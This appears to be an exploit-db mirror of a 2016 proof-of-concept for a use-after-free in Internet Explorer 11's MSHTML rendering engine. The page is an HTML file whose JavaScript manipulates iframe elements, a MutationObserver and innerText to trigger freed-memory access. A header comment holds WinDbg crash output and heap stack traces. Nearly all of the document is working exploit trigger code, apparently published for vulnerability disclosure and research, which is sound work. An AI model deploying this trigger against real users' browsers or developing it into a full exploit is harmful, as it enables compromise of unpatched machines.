Microsoft Internet Explorer 11 – MSHTML!CMarkupPointer::UnEmbed Use-After-Free

  • 作者： Marcin Ressel
    日期： 2016-04-15
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/39699/
  • <!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="1"/>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
 body{
background-color:lime;
font-color:white;
 };
</style>
<script type='text/javascript'></script>
<script type="text/javascript" language="JavaScript">
/*
*Title: MSHTML!CMarkupPointer::UnEmbed Use After Free
*Author: Marcin Ressel @ressel_m
*Date: 15.04.2016
*Vendor Homepage: www.microsoft.com
*Software Link: n/a
*Version: IE11 (latest)
*Tested on: Windows 10 x64 && Windows 7 x64
*--------------------------------------------------
*IE 11 MSHTML!CMarkupPointer::UnEmbed Use After Free
*IE 11.0.9600.18230 (win7)
*Windows 7 x64, Windows 10 x64 (11.162.10586.0)
*11.04.2016
*
 0:019> g
 (490.1194): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=00000000 ebx=0df7bbd0 ecx=126e4f38 edx=00000000 esi=12750fd0 edi=00000000
 eip=67028aa8 esp=0a97a658 ebp=0a97a7bc iopl=0 nv up ei pl nz ac po nc
 cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010212
 MSHTML!CSpliceTreeEngine::HandleRemovalMutations+0xdb:
 67028aa8 8b7610mov esi,dword ptr [esi+10h] ds:002b:12750fe0=????????
 0:007> !heap -p -a esi
address 12750fd0 found in
_DPH_HEAP_ROOT @ ad81000
 in free-ed allocation (DPH_HEAP_BLOCK: VirtAddr VirtSize)
ffe3410: 12750000 2000
 747790b2 verifier!AVrfDebugPageHeapFree+0x000000c2
 77a5251c ntdll!RtlDebugFreeHeap+0x0000002f
 77a0b2a2 ntdll!RtlpFreeHeap+0x0000005d
 779b2ce5 ntdll!RtlFreeHeap+0x00000142
 74a4adeb vrfcore!VerifierSetAPIClassName+0x0000017b
 769d14bd kernel32!HeapFree+0x00000014
 67011a67 MSHTML!MemoryProtection::HeapFree+0x00000046
 66b08fff MSHTML!CMarkupPointer::UnEmbed+0x000000bd
 66d75a96 MSHTML!CMarkupPointer::MoveToGap+0x00000094
 67006183 MSHTML!CMarkupPointer::FindTextIdentity+0x000002b7
 66d75a22 MSHTML!CDOMTextNode::GetParentNodeHelper+0x0000004b
 6719351c MSHTML!CDOMNode::AppendTransientRegisteredObservers+0x00000035
 66f192f7 MSHTML!CSpliceTreeEngine::HandleRemovalMutations+0xffef092a
 66b47967 MSHTML!CSpliceTreeEngine::RemoveSplice+0x000051ef
 66b49c9f MSHTML!CMarkup::SpliceTreeInternal+0x000000a8
 66d8dc9b MSHTML!CDoc::CutCopyMove+0x00000d93
 66b49a27 MSHTML!RemoveWithBreakOnEmpty+0x00000097
 66b3400d MSHTML!CElement::InjectInternal+0x0000043f
 66dd76d5 MSHTML!CElement::InjectTextOrHTML+0x00000323
 66a857e8 MSHTML!CElement::Var_set_innerText+0x00000050
 66a8576c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerText+0x0000003c
 7330c572 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000182
 7330d075 jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x0000009d
 7330cfb2 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
 7333fdcc jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
 7333fb83 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
 7333fc03 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
 73308800 jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
 7330bd59 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
*/
			function testcase()
			{
var elements = [];
				var eFrame = document.getElementById("e1"); 
var tmp = eFrame.contentWindow.document.createElement("body");
				elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("cite"); 
			elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("frame"); 
			elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("ellipse"); 
				elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("html"); 
				elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("command"); 
			elements.push(tmp);
var trg = document; 
				trg.body.appendChild(elements[0]); 
				trg.body.appendChild(elements[1]); 
				trg.body.appendChild(elements[2]); 
				trg.body.appendChild(elements[3]); 
				trg.body.appendChild(elements[4]); 
				trg.body.appendChild(elements[5]); 
dom = document.getElementsByTagName("*"); 
doc = document; 
				trg = dom[10]; 
			var observer = new MutationObserver(new Function("",""));
			observer.observe(trg,{ attributes: true, childList: true, characterData: true, subtree: true}); 
				trg.insertAdjacentHTML("afterBegin","<tbody><ol><script><polygon><circle><table></table><command><table></table><rp>"); 
			 	trg.innerText = '12345'; 	
			}
</script>
<title>IE 11.0.9600.18230 MSHTML!CMarkupPointer::UnEmbed UAF POC</title>
</head>
<body onload='testcase();'>
 <iframe id='t1'></iframe><iframe id='e1'></iframe>
 <div id='oneUnArg'>||||</div>
</body>
</html>